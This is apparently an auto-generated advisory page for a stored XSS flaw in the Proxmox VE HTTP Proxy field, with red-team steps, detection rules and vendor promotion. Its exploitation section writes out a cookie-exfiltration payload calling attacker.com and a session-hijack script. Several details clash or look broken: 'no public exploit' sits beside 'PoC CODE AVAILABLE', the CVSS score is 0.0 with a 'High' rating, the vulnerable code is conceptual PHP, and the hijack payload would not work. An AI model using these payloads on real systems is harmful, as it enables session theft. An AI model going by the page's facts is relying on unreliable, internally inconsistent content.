CVE-2025-57538
Executive Summary
CVE-2025-57538 is a stored cross-site scripting (XSS) vulnerability in the HTTP Proxy field within the Datacenter configuration panel of Proxmox Virtual Environment (PVE) 8.4. An authenticated attacker can inject malicious JavaScript that persists in the server-side configuration. When other authenticated users view the affected Datacenter configuration page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further lateral movement within the Proxmox environment. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): Low (authenticated user)
- User Interaction (UI): Required (victim views configuration page)
- Scope (S): Changed (attacker can affect victim's session)
- Confidentiality (C): High (session tokens, credentials)
- Integrity (I): High (modify configurations via XSS)
- Availability (A): Low (DoS via script execution)
- Threat Level: High (stored XSS in a critical management interface)
Deep Dive & Mechanics
The vulnerability resides in the HTTP Proxy field of the Datacenter configuration panel. This field is used to define a proxy server for outbound connections from the Proxmox host. The input is not properly sanitized or encoded before being stored and later rendered in the web interface. When an authenticated user navigates to the Datacenter configuration page, the stored payload is executed as HTML/JavaScript in the victim's browser.
Attack Flow:
- Attacker authenticates to the Proxmox web interface.
- Attacker navigates to Datacenter → Options → HTTP Proxy.
- Attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>). - The payload is stored in the Proxmox configuration database.
- Another authenticated user views the Datacenter configuration page.
- The payload executes in the victim's browser, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or exfiltrate data.
Root Cause: Lack of output encoding or input sanitization for the HTTP Proxy field. The field is likely rendered directly into the HTML without proper escaping.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In the configuration rendering function
echo "<input type='text' name='http_proxy' value='" . $config['http_proxy'] . "'>";
Patched Code (Expected):
// Properly escape the output
echo "<input type='text' name='http_proxy' value='" . htmlspecialchars($config['http_proxy'], ENT_QUOTES, 'UTF-8') . "'>";
The patch should apply htmlspecialchars() or equivalent encoding to all user-controlled fields before rendering in the web interface.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Authenticated session on Proxmox VE 8.4
- Access to Datacenter → Options → HTTP Proxy field
Exploitation Steps:
- Log in to the Proxmox web interface.
- Navigate to Datacenter → Options.
- In the HTTP Proxy field, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the configuration.
- Wait for another admin to view the Datacenter configuration page.
- The victim's browser sends their session cookie to the attacker's server.
Advanced Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/api2/json/access/ticket', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({username: 'attacker', password: 'newpass'}));
</script>
Blue Team
Detection:
- Monitor for unusual changes to the HTTP Proxy field in audit logs.
- Look for JavaScript payloads in configuration fields.
- Use Content Security Policy (CSP) headers to block inline scripts.
Hunting:
- Search for
<script>tags in Proxmox configuration backups. - Review web server logs for requests to
/api2/json/with suspicious parameters.
Mitigation:
- Apply input validation to the HTTP Proxy field (allow only valid proxy URLs).
- Implement output encoding for all configuration fields.
- Restrict access to the Datacenter configuration panel to trusted admins only.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from Proxmox web interface.
- File: Modified
/etc/pve/datacenter.cfgcontaining<script>tags. - Log: Audit log entries showing changes to the
http_proxyfield with non-standard values. - Process: Unexpected JavaScript execution in browser developer tools.
Detection Engineering
YARA Rule
rule proxmox_xss_http_proxy {
meta:
description = "Detects stored XSS payloads in Proxmox HTTP Proxy field"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57538"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$http_proxy_field = "http_proxy"
condition:
$http_proxy_field and $xss_payload
}
Sigma Rule
title: Proxmox HTTP Proxy XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in Proxmox HTTP Proxy field
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: proxmox
detection:
selection:
event_type: "config_change"
field: "http_proxy"
value|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in proxy configuration (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Proxmox XSS Payload in HTTP Proxy Field"; flow:to_server,established; content:"http_proxy"; nocase; content:"<script"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict access to the Datacenter configuration panel to only essential administrators.
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in configuration fields. - Monitor audit logs for unauthorized changes to the HTTP Proxy field.
Long-Term Fix:
- Apply output encoding (e.g.,
htmlspecialchars()) to all user-controlled fields in the Proxmox web interface. - Implement input validation to allow only valid proxy URLs (e.g.,
http://orhttps://with valid hostnames). - Use Content Security Policy (CSP) headers to block inline JavaScript execution.
- Update to the latest patched version once available.
Workaround:
- Disable the HTTP Proxy field in the web interface by modifying the Proxmox source code (not recommended for production).
Report generated by Valters IT DevSecOps & CTI Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.